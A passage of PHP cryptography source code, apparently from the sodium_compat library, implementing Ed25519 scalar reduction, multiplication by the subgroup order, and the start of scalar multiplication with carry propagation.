        $s2 += self::mul($s12,  654183, 20);
        $s3 -= self::mul($s12,  997805, 20);
        $s4 += self::mul($s12,  136657, 18);
        $s5 -= self::mul($s12,  683901, 20);

        $carry0 = $s0 >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        $carry1 = $s1 >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        $carry2 = $s2 >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        $carry3 = $s3 >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        $carry4 = $s4 >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        $carry5 = $s5 >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        $carry6 = $s6 >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        $carry7 = $s7 >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        $carry8 = $s8 >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        $carry9 = $s9 >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        $carry10 = $s10 >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;

        /**
         * @var array<int, int>
         */
        $arr = array(
            (int) (0xff & ($s0 >> 0)),
            (int) (0xff & ($s0 >> 8)),
            (int) (0xff & (($s0 >> 16) | $s1 << 5)),
            (int) (0xff & ($s1 >> 3)),
            (int) (0xff & ($s1 >> 11)),
            (int) (0xff & (($s1 >> 19) | $s2 << 2)),
            (int) (0xff & ($s2 >> 6)),
            (int) (0xff & (($s2 >> 14) | $s3 << 7)),
            (int) (0xff & ($s3 >> 1)),
            (int) (0xff & ($s3 >> 9)),
            (int) (0xff & (($s3 >> 17) | $s4 << 4)),
            (int) (0xff & ($s4 >> 4)),
            (int) (0xff & ($s4 >> 12)),
            (int) (0xff & (($s4 >> 20) | $s5 << 1)),
            (int) (0xff & ($s5 >> 7)),
            (int) (0xff & (($s5 >> 15) | $s6 << 6)),
            (int) (0xff & ($s6 >> 2)),
            (int) (0xff & ($s6 >> 10)),
            (int) (0xff & (($s6 >> 18) | $s7 << 3)),
            (int) (0xff & ($s7 >> 5)),
            (int) (0xff & ($s7 >> 13)),
            (int) (0xff & ($s8 >> 0)),
            (int) (0xff & ($s8 >> 8)),
            (int) (0xff & (($s8 >> 16) | $s9 << 5)),
            (int) (0xff & ($s9 >> 3)),
            (int) (0xff & ($s9 >> 11)),
            (int) (0xff & (($s9 >> 19) | $s10 << 2)),
            (int) (0xff & ($s10 >> 6)),
            (int) (0xff & (($s10 >> 14) | $s11 << 7)),
            (int) (0xff & ($s11 >> 1)),
            (int) (0xff & ($s11 >> 9)),
            0xff & ($s11 >> 17)
        );
        return self::intArrayToString($arr);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $s
     * @return string
     * @throws TypeError
     */
    public static function sc_reduce($s)
    {
        $s0 = 2097151 & self::load_3(self::substr($s, 0, 3));
        $s1 = 2097151 & (self::load_4(self::substr($s, 2, 4)) >> 5);
        $s2 = 2097151 & (self::load_3(self::substr($s, 5, 3)) >> 2);
        $s3 = 2097151 & (self::load_4(self::substr($s, 7, 4)) >> 7);
        $s4 = 2097151 & (self::load_4(self::substr($s, 10, 4)) >> 4);
        $s5 = 2097151 & (self::load_3(self::substr($s, 13, 3)) >> 1);
        $s6 = 2097151 & (self::load_4(self::substr($s, 15, 4)) >> 6);
        $s7 = 2097151 & (self::load_3(self::substr($s, 18, 4)) >> 3);
        $s8 = 2097151 & self::load_3(self::substr($s, 21, 3));
        $s9 = 2097151 & (self::load_4(self::substr($s, 23, 4)) >> 5);
        $s10 = 2097151 & (self::load_3(self::substr($s, 26, 3)) >> 2);
        $s11 = 2097151 & (self::load_4(self::substr($s, 28, 4)) >> 7);
        $s12 = 2097151 & (self::load_4(self::substr($s, 31, 4)) >> 4);
        $s13 = 2097151 & (self::load_3(self::substr($s, 34, 3)) >> 1);
        $s14 = 2097151 & (self::load_4(self::substr($s, 36, 4)) >> 6);
        $s15 = 2097151 & (self::load_3(self::substr($s, 39, 4)) >> 3);
        $s16 = 2097151 & self::load_3(self::substr($s, 42, 3));
        $s17 = 2097151 & (self::load_4(self::substr($s, 44, 4)) >> 5);
        $s18 = 2097151 & (self::load_3(self::substr($s, 47, 3)) >> 2);
        $s19 = 2097151 & (self::load_4(self::substr($s, 49, 4)) >> 7);
        $s20 = 2097151 & (self::load_4(self::substr($s, 52, 4)) >> 4);
        $s21 = 2097151 & (self::load_3(self::substr($s, 55, 3)) >> 1);
        $s22 = 2097151 & (self::load_4(self::substr($s, 57, 4)) >> 6);
        $s23 = 0x1fffffff & (self::load_4(self::substr($s, 60, 4)) >> 3);

        $s11 += self::mul($s23,  666643, 20);
        $s12 += self::mul($s23,  470296, 19);
        $s13 += self::mul($s23,  654183, 20);
        $s14 -= self::mul($s23,  997805, 20);
        $s15 += self::mul($s23,  136657, 18);
        $s16 -= self::mul($s23,  683901, 20);

        $s10 += self::mul($s22,  666643, 20);
        $s11 += self::mul($s22,  470296, 19);
        $s12 += self::mul($s22,  654183, 20);
        $s13 -= self::mul($s22,  997805, 20);
        $s14 += self::mul($s22,  136657, 18);
        $s15 -= self::mul($s22,  683901, 20);

        $s9  += self::mul($s21,  666643, 20);
        $s10 += self::mul($s21,  470296, 19);
        $s11 += self::mul($s21,  654183, 20);
        $s12 -= self::mul($s21,  997805, 20);
        $s13 += self::mul($s21,  136657, 18);
        $s14 -= self::mul($s21,  683901, 20);

        $s8  += self::mul($s20,  666643, 20);
        $s9  += self::mul($s20,  470296, 19);
        $s10 += self::mul($s20,  654183, 20);
        $s11 -= self::mul($s20,  997805, 20);
        $s12 += self::mul($s20,  136657, 18);
        $s13 -= self::mul($s20,  683901, 20);

        $s7  += self::mul($s19,  666643, 20);
        $s8  += self::mul($s19,  470296, 19);
        $s9  += self::mul($s19,  654183, 20);
        $s10 -= self::mul($s19,  997805, 20);
        $s11 += self::mul($s19,  136657, 18);
        $s12 -= self::mul($s19,  683901, 20);

        $s6  += self::mul($s18,  666643, 20);
        $s7  += self::mul($s18,  470296, 19);
        $s8  += self::mul($s18,  654183, 20);
        $s9  -= self::mul($s18,  997805, 20);
        $s10 += self::mul($s18,  136657, 18);
        $s11 -= self::mul($s18,  683901, 20);

        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        $carry12 = ($s12 + (1 << 20)) >> 21;
        $s13 += $carry12;
        $s12 -= $carry12 << 21;
        $carry14 = ($s14 + (1 << 20)) >> 21;
        $s15 += $carry14;
        $s14 -= $carry14 << 21;
        $carry16 = ($s16 + (1 << 20)) >> 21;
        $s17 += $carry16;
        $s16 -= $carry16 << 21;

        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;
        $carry13 = ($s13 + (1 << 20)) >> 21;
        $s14 += $carry13;
        $s13 -= $carry13 << 21;
        $carry15 = ($s15 + (1 << 20)) >> 21;
        $s16 += $carry15;
        $s15 -= $carry15 << 21;

        $s5  += self::mul($s17,  666643, 20);
        $s6  += self::mul($s17,  470296, 19);
        $s7  += self::mul($s17,  654183, 20);
        $s8  -= self::mul($s17,  997805, 20);
        $s9  += self::mul($s17,  136657, 18);
        $s10 -= self::mul($s17,  683901, 20);

        $s4 += self::mul($s16,  666643, 20);
        $s5 += self::mul($s16,  470296, 19);
        $s6 += self::mul($s16,  654183, 20);
        $s7 -= self::mul($s16,  997805, 20);
        $s8 += self::mul($s16,  136657, 18);
        $s9 -= self::mul($s16,  683901, 20);

        $s3 += self::mul($s15,  666643, 20);
        $s4 += self::mul($s15,  470296, 19);
        $s5 += self::mul($s15,  654183, 20);
        $s6 -= self::mul($s15,  997805, 20);
        $s7 += self::mul($s15,  136657, 18);
        $s8 -= self::mul($s15,  683901, 20);

        $s2 += self::mul($s14,  666643, 20);
        $s3 += self::mul($s14,  470296, 19);
        $s4 += self::mul($s14,  654183, 20);
        $s5 -= self::mul($s14,  997805, 20);
        $s6 += self::mul($s14,  136657, 18);
        $s7 -= self::mul($s14,  683901, 20);

        $s1 += self::mul($s13,  666643, 20);
        $s2 += self::mul($s13,  470296, 19);
        $s3 += self::mul($s13,  654183, 20);
        $s4 -= self::mul($s13,  997805, 20);
        $s5 += self::mul($s13,  136657, 18);
        $s6 -= self::mul($s13,  683901, 20);

        $s0 += self::mul($s12,  666643, 20);
        $s1 += self::mul($s12,  470296, 19);
        $s2 += self::mul($s12,  654183, 20);
        $s3 -= self::mul($s12,  997805, 20);
        $s4 += self::mul($s12,  136657, 18);
        $s5 -= self::mul($s12,  683901, 20);
        $s12 = 0;

        $carry0 = ($s0 + (1 << 20)) >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        $carry2 = ($s2 + (1 << 20)) >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        $carry4 = ($s4 + (1 << 20)) >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;

        $carry1 = ($s1 + (1 << 20)) >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        $carry3 = ($s3 + (1 << 20)) >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        $carry5 = ($s5 + (1 << 20)) >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;

        $s0 += self::mul($s12,  666643, 20);
        $s1 += self::mul($s12,  470296, 19);
        $s2 += self::mul($s12,  654183, 20);
        $s3 -= self::mul($s12,  997805, 20);
        $s4 += self::mul($s12,  136657, 18);
        $s5 -= self::mul($s12,  683901, 20);
        $s12 = 0;

        $carry0 = $s0 >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        $carry1 = $s1 >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        $carry2 = $s2 >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        $carry3 = $s3 >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        $carry4 = $s4 >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        $carry5 = $s5 >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        $carry6 = $s6 >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        $carry7 = $s7 >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        $carry8 = $s8 >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        $carry9 = $s9 >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        $carry10 = $s10 >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        $carry11 = $s11 >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;

        $s0 += self::mul($s12,  666643, 20);
        $s1 += self::mul($s12,  470296, 19);
        $s2 += self::mul($s12,  654183, 20);
        $s3 -= self::mul($s12,  997805, 20);
        $s4 += self::mul($s12,  136657, 18);
        $s5 -= self::mul($s12,  683901, 20);

        $carry0 = $s0 >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        $carry1 = $s1 >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        $carry2 = $s2 >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        $carry3 = $s3 >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        $carry4 = $s4 >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        $carry5 = $s5 >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        $carry6 = $s6 >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        $carry7 = $s7 >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        $carry8 = $s8 >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        $carry9 = $s9 >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        $carry10 = $s10 >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;

        /**
         * @var array<int, int>
         */
        $arr = array(
            (int) ($s0 >> 0),
            (int) ($s0 >> 8),
            (int) (($s0 >> 16) | $s1 << 5),
            (int) ($s1 >> 3),
            (int) ($s1 >> 11),
            (int) (($s1 >> 19) | $s2 << 2),
            (int) ($s2 >> 6),
            (int) (($s2 >> 14) | $s3 << 7),
            (int) ($s3 >> 1),
            (int) ($s3 >> 9),
            (int) (($s3 >> 17) | $s4 << 4),
            (int) ($s4 >> 4),
            (int) ($s4 >> 12),
            (int) (($s4 >> 20) | $s5 << 1),
            (int) ($s5 >> 7),
            (int) (($s5 >> 15) | $s6 << 6),
            (int) ($s6 >> 2),
            (int) ($s6 >> 10),
            (int) (($s6 >> 18) | $s7 << 3),
            (int) ($s7 >> 5),
            (int) ($s7 >> 13),
            (int) ($s8 >> 0),
            (int) ($s8 >> 8),
            (int) (($s8 >> 16) | $s9 << 5),
            (int) ($s9 >> 3),
            (int) ($s9 >> 11),
            (int) (($s9 >> 19) | $s10 << 2),
            (int) ($s10 >> 6),
            (int) (($s10 >> 14) | $s11 << 7),
            (int) ($s11 >> 1),
            (int) ($s11 >> 9),
            (int) $s11 >> 17
        );
        return self::intArrayToString($arr);
    }

    /**
     * multiply by the order of the main subgroup l = 2^252+27742317777372353535851937790883648493
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3
     */
    public static function ge_mul_l(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A)
    {
        $aslide = array(
            13, 0, 0, 0, 0, -1, 0, 0, 0, 0, -11, 0, 0, 0, 0, 0, 0, -5, 0, 0, 0,
            0, 0, 0, -3, 0, 0, 0, 0, -13, 0, 0, 0, 0, 7, 0, 0, 0, 0, 0, 3, 0,
            0, 0, 0, -13, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 11, 0, 0, 0,
            0, 0, 11, 0, 0, 0, 0, -13, 0, 0, 0, 0, 0, 0, -3, 0, 0, 0, 0, 0, -1,
            0, 0, 0, 0, 3, 0, 0, 0, 0, -11, 0, 0, 0, 0, 0, 0, 0, 15, 0, 0, 0,
            0, 0, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 7, 0, 0, 0, 0, 5, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1
        );

        /** @var array<int, ParagonIE_Sodium_Core_Curve25519_Ge_Cached> $Ai size 8 */
        $Ai = array();

        # ge_p3_to_cached(&Ai[0], A);
        $Ai[0] = self::ge_p3_to_cached($A);
        # ge_p3_dbl(&t, A);
        $t = self::ge_p3_dbl($A);
        # ge_p1p1_to_p3(&A2, &t);
        $A2 = self::ge_p1p1_to_p3($t);

        for ($i = 1; $i < 8; ++$i) {
            # ge_add(&t, &A2, &Ai[0]);
            $t = self::ge_add($A2, $Ai[$i - 1]);
            # ge_p1p1_to_p3(&u, &t);
            $u = self::ge_p1p1_to_p3($t);
            # ge_p3_to_cached(&Ai[i], &u);
            $Ai[$i] = self::ge_p3_to_cached($u);
        }

        $r = self::ge_p3_0();
        for ($i = 252; $i >= 0; --$i) {
            $t = self::ge_p3_dbl($r);
            if ($aslide[$i] > 0) {
                # ge_p1p1_to_p3(&u, &t);
                $u = self::ge_p1p1_to_p3($t);
                # ge_add(&t, &u, &Ai[aslide[i] / 2]);
                $t = self::ge_add($u, $Ai[(int)($aslide[$i] / 2)]);
            } elseif ($aslide[$i] < 0) {
                # ge_p1p1_to_p3(&u, &t);
                $u = self::ge_p1p1_to_p3($t);
                # ge_sub(&t, &u, &Ai[(-aslide[i]) / 2]);
                $t = self::ge_sub($u, $Ai[(int)(-$aslide[$i] / 2)]);
            }
        }

        # ge_p1p1_to_p3(r, &t);
        return self::ge_p1p1_to_p3($t);
    }

    /**
     * @param string $a
     * @param string $b
     * @return string
     */
    public static function sc25519_mul($a, $b)
    {
        //    int64_t a0  = 2097151 & load_3(a);
        //    int64_t a1  = 2097151 & (load_4(a + 2) >> 5);
        //    int64_t a2  = 2097151 & (load_3(a + 5) >> 2);
        //    int64_t a3  = 2097151 & (load_4(a + 7) >> 7);
        //    int64_t a4  = 2097151 & (load_4(a + 10) >> 4);
        //    int64_t a5  = 2097151 & (load_3(a + 13) >> 1);
        //    int64_t a6  = 2097151 & (load_4(a + 15) >> 6);
        //    int64_t a7  = 2097151 & (load_3(a + 18) >> 3);
        //    int64_t a8  = 2097151 & load_3(a + 21);
        //    int64_t a9  = 2097151 & (load_4(a + 23) >> 5);
        //    int64_t a10 = 2097151 & (load_3(a + 26) >> 2);
        //    int64_t a11 = (load_4(a + 28) >> 7);
        $a0  = 2097151 &  self::load_3(self::substr($a, 0, 3));
        $a1  = 2097151 & (self::load_4(self::substr($a, 2, 4)) >> 5);
        $a2  = 2097151 & (self::load_3(self::substr($a, 5, 3)) >> 2);
        $a3  = 2097151 & (self::load_4(self::substr($a, 7, 4)) >> 7);
        $a4  = 2097151 & (self::load_4(self::substr($a, 10, 4)) >> 4);
        $a5  = 2097151 & (self::load_3(self::substr($a, 13, 3)) >> 1);
        $a6  = 2097151 & (self::load_4(self::substr($a, 15, 4)) >> 6);
        $a7  = 2097151 & (self::load_3(self::substr($a, 18, 3)) >> 3);
        $a8  = 2097151 &  self::load_3(self::substr($a, 21, 3));
        $a9  = 2097151 & (self::load_4(self::substr($a, 23, 4)) >> 5);
        $a10 = 2097151 & (self::load_3(self::substr($a, 26, 3)) >> 2);
        $a11 = (self::load_4(self::substr($a, 28, 4)) >> 7);

        //    int64_t b0  = 2097151 & load_3(b);
        //    int64_t b1  = 2097151 & (load_4(b + 2) >> 5);
        //    int64_t b2  = 2097151 & (load_3(b + 5) >> 2);
        //    int64_t b3  = 2097151 & (load_4(b + 7) >> 7);
        //    int64_t b4  = 2097151 & (load_4(b + 10) >> 4);
        //    int64_t b5  = 2097151 & (load_3(b + 13) >> 1);
        //    int64_t b6  = 2097151 & (load_4(b + 15) >> 6);
        //    int64_t b7  = 2097151 & (load_3(b + 18) >> 3);
        //    int64_t b8  = 2097151 & load_3(b + 21);
        //    int64_t b9  = 2097151 & (load_4(b + 23) >> 5);
        //    int64_t b10 = 2097151 & (load_3(b + 26) >> 2);
        //    int64_t b11 = (load_4(b + 28) >> 7);
        $b0  = 2097151 &  self::load_3(self::substr($b, 0, 3));
        $b1  = 2097151 & (self::load_4(self::substr($b, 2, 4)) >> 5);
        $b2  = 2097151 & (self::load_3(self::substr($b, 5, 3)) >> 2);
        $b3  = 2097151 & (self::load_4(self::substr($b, 7, 4)) >> 7);
        $b4  = 2097151 & (self::load_4(self::substr($b, 10, 4)) >> 4);
        $b5  = 2097151 & (self::load_3(self::substr($b, 13, 3)) >> 1);
        $b6  = 2097151 & (self::load_4(self::substr($b, 15, 4)) >> 6);
        $b7  = 2097151 & (self::load_3(self::substr($b, 18, 3)) >> 3);
        $b8  = 2097151 &  self::load_3(self::substr($b, 21, 3));
        $b9  = 2097151 & (self::load_4(self::substr($b, 23, 4)) >> 5);
        $b10 = 2097151 & (self::load_3(self::substr($b, 26, 3)) >> 2);
        $b11 = (self::load_4(self::substr($b, 28, 4)) >> 7);

        //    s0 = a0 * b0;
        //    s1 = a0 * b1 + a1 * b0;
        //    s2 = a0 * b2 + a1 * b1 + a2 * b0;
        //    s3 = a0 * b3 + a1 * b2 + a2 * b1 + a3 * b0;
        //    s4 = a0 * b4 + a1 * b3 + a2 * b2 + a3 * b1 + a4 * b0;
        //    s5 = a0 * b5 + a1 * b4 + a2 * b3 + a3 * b2 + a4 * b1 + a5 * b0;
        //    s6 = a0 * b6 + a1 * b5 + a2 * b4 + a3 * b3 + a4 * b2 + a5 * b1 + a6 * b0;
        //    s7 = a0 * b7 + a1 * b6 + a2 * b5 + a3 * b4 + a4 * b3 + a5 * b2 +
        //        a6 * b1 + a7 * b0;
        //    s8 = a0 * b8 + a1 * b7 + a2 * b6 + a3 * b5 + a4 * b4 + a5 * b3 +
        //        a6 * b2 + a7 * b1 + a8 * b0;
        //    s9 = a0 * b9 + a1 * b8 + a2 * b7 + a3 * b6 + a4 * b5 + a5 * b4 +
        //        a6 * b3 + a7 * b2 + a8 * b1 + a9 * b0;
        //    s10 = a0 * b10 + a1 * b9 + a2 * b8 + a3 * b7 + a4 * b6 + a5 * b5 +
        //        a6 * b4 + a7 * b3 + a8 * b2 + a9 * b1 + a10 * b0;
        //    s11 = a0 * b11 + a1 * b10 + a2 * b9 + a3 * b8 + a4 * b7 + a5 * b6 +
        //        a6 * b5 + a7 * b4 + a8 * b3 + a9 * b2 + a10 * b1 + a11 * b0;
        //    s12 = a1 * b11 + a2 * b10 + a3 * b9 + a4 * b8 + a5 * b7 + a6 * b6 +
        //        a7 * b5 + a8 * b4 + a9 * b3 + a10 * b2 + a11 * b1;
        //    s13 = a2 * b11 + a3 * b10 + a4 * b9 + a5 * b8 + a6 * b7 + a7 * b6 +
        //        a8 * b5 + a9 * b4 + a10 * b3 + a11 * b2;
        //    s14 = a3 * b11 + a4 * b10 + a5 * b9 + a6 * b8 + a7 * b7 + a8 * b6 +
        //        a9 * b5 + a10 * b4 + a11 * b3;
        //    s15 = a4 * b11 + a5 * b10 + a6 * b9 + a7 * b8 + a8 * b7 + a9 * b6 +
        //        a10 * b5 + a11 * b4;
        //    s16 =
        //        a5 * b11 + a6 * b10 + a7 * b9 + a8 * b8 + a9 * b7 + a10 * b6 + a11 * b5;
        //    s17 = a6 * b11 + a7 * b10 + a8 * b9 + a9 * b8 + a10 * b7 + a11 * b6;
        //    s18 = a7 * b11 + a8 * b10 + a9 * b9 + a10 * b8 + a11 * b7;
        //    s19 = a8 * b11 + a9 * b10 + a10 * b9 + a11 * b8;
        //    s20 = a9 * b11 + a10 * b10 + a11 * b9;
        //    s21 = a10 * b11 + a11 * b10;
        //    s22 = a11 * b11;
        //    s23 = 0;
        $s0 = self::mul($a0, $b0, 22);
        $s1 = self::mul($a0, $b1, 22) + self::mul($a1, $b0, 22);
        $s2 = self::mul($a0, $b2, 22) + self::mul($a1, $b1, 22) + self::mul($a2, $b0, 22);
        $s3 = self::mul($a0, $b3, 22) + self::mul($a1, $b2, 22) + self::mul($a2, $b1, 22) + self::mul($a3, $b0, 22);
        $s4 = self::mul($a0, $b4, 22) + self::mul($a1, $b3, 22) + self::mul($a2, $b2, 22) + self::mul($a3, $b1, 22) +
            self::mul($a4, $b0, 22);
        $s5 = self::mul($a0, $b5, 22) + self::mul($a1, $b4, 22) + self::mul($a2, $b3, 22) + self::mul($a3, $b2, 22) +
            self::mul($a4, $b1, 22) + self::mul($a5, $b0, 22);
        $s6 = self::mul($a0, $b6, 22) + self::mul($a1, $b5, 22) + self::mul($a2, $b4, 22) + self::mul($a3, $b3, 22) +
            self::mul($a4, $b2, 22) + self::mul($a5, $b1, 22) + self::mul($a6, $b0, 22);
        $s7 = self::mul($a0, $b7, 22) + self::mul($a1, $b6, 22) + self::mul($a2, $b5, 22) + self::mul($a3, $b4, 22) +
            self::mul($a4, $b3, 22) + self::mul($a5, $b2, 22) + self::mul($a6, $b1, 22) + self::mul($a7, $b0, 22);
        $s8 = self::mul($a0, $b8, 22) + self::mul($a1, $b7, 22) + self::mul($a2, $b6, 22) + self::mul($a3, $b5, 22) +
            self::mul($a4, $b4, 22) + self::mul($a5, $b3, 22) + self::mul($a6, $b2, 22) + self::mul($a7, $b1, 22) +
            self::mul($a8, $b0, 22);
        $s9 = self::mul($a0, $b9, 22) + self::mul($a1, $b8, 22) + self::mul($a2, $b7, 22) + self::mul($a3, $b6, 22) +
            self::mul($a4, $b5, 22) + self::mul($a5, $b4, 22) + self::mul($a6, $b3, 22) + self::mul($a7, $b2, 22) +
            self::mul($a8, $b1, 22) + self::mul($a9, $b0, 22);
        $s10 = self::mul($a0, $b10, 22) + self::mul($a1, $b9, 22) + self::mul($a2, $b8, 22) + self::mul($a3, $b7, 22) +
            self::mul($a4, $b6, 22) + self::mul($a5, $b5, 22) + self::mul($a6, $b4, 22) + self::mul($a7, $b3, 22) +
            self::mul($a8, $b2, 22) + self::mul($a9, $b1, 22) + self::mul($a10, $b0, 22);
        $s11 = self::mul($a0, $b11, 22) + self::mul($a1, $b10, 22) + self::mul($a2, $b9, 22) + self::mul($a3, $b8, 22) +
            self::mul($a4, $b7, 22) + self::mul($a5, $b6, 22) + self::mul($a6, $b5, 22) + self::mul($a7, $b4, 22) +
            self::mul($a8, $b3, 22) + self::mul($a9, $b2, 22) + self::mul($a10, $b1, 22) + self::mul($a11, $b0, 22);
        $s12 = self::mul($a1, $b11, 22) + self::mul($a2, $b10, 22) + self::mul($a3, $b9, 22) + self::mul($a4, $b8, 22) +
            self::mul($a5, $b7, 22) + self::mul($a6, $b6, 22) + self::mul($a7, $b5, 22) + self::mul($a8, $b4, 22) +
            self::mul($a9, $b3, 22) + self::mul($a10, $b2, 22) + self::mul($a11, $b1, 22);
        $s13 = self::mul($a2, $b11, 22) + self::mul($a3, $b10, 22) + self::mul($a4, $b9, 22) + self::mul($a5, $b8, 22) +
            self::mul($a6, $b7, 22) + self::mul($a7, $b6, 22) + self::mul($a8, $b5, 22) + self::mul($a9, $b4, 22) +
            self::mul($a10, $b3, 22) + self::mul($a11, $b2, 22);
        $s14 = self::mul($a3, $b11, 22) + self::mul($a4, $b10, 22) + self::mul($a5, $b9, 22) + self::mul($a6, $b8, 22) +
            self::mul($a7, $b7, 22) + self::mul($a8, $b6, 22) + self::mul($a9, $b5, 22) + self::mul($a10, $b4, 22) +
            self::mul($a11, $b3, 22);
        $s15 = self::mul($a4, $b11, 22) + self::mul($a5, $b10, 22) + self::mul($a6, $b9, 22) + self::mul($a7, $b8, 22) +
            self::mul($a8, $b7, 22) + self::mul($a9, $b6, 22) + self::mul($a10, $b5, 22) + self::mul($a11, $b4, 22);
        $s16 =
            self::mul($a5, $b11, 22) + self::mul($a6, $b10, 22) + self::mul($a7, $b9, 22) + self::mul($a8, $b8, 22) +
            self::mul($a9, $b7, 22) + self::mul($a10, $b6, 22) + self::mul($a11, $b5, 22);
        $s17 = self::mul($a6, $b11, 22) + self::mul($a7, $b10, 22) + self::mul($a8, $b9, 22) + self::mul($a9, $b8, 22) +
            self::mul($a10, $b7, 22) + self::mul($a11, $b6, 22);
        $s18 = self::mul($a7, $b11, 22) + self::mul($a8, $b10, 22) + self::mul($a9, $b9, 22) + self::mul($a10, $b8, 22)
            + self::mul($a11, $b7, 22);
        $s19 = self::mul($a8, $b11, 22) + self::mul($a9, $b10, 22) + self::mul($a10, $b9, 22) +
            self::mul($a11, $b8, 22);
        $s20 = self::mul($a9, $b11, 22) + self::mul($a10, $b10, 22) + self::mul($a11, $b9, 22);
        $s21 = self::mul($a10, $b11, 22) + self::mul($a11, $b10, 22);
        $s22 = self::mul($a11, $b11, 22);
        $s23 = 0;

        //    carry0 = (s0 + (int64_t) (1L << 20)) >> 21;
        //    s1 += carry0;
        //    s0 -= carry0 * ((uint64_t) 1L << 21);
        $carry0 = ($s0 + (1 << 20)) >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        //    carry2 = (s2 + (int64_t) (1L << 20)) >> 21;
        //    s3 += carry2;
        //    s2 -= carry2 * ((uint64_t) 1L << 21);
        $carry2 = ($s2 + (1 << 20)) >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        //    carry4 = (s4 + (int64_t) (1L << 20)) >> 21;
        //    s5 += carry4;
        //    s4 -= carry4 * ((uint64_t) 1L << 21);
        $carry4 = ($s4 + (1 << 20)) >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        //    carry6 = (s6 + (int64_t) (1L << 20)) >> 21;
        //    s7 += carry6;
        //    s6 -= carry6 * ((uint64_t) 1L << 21);
        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
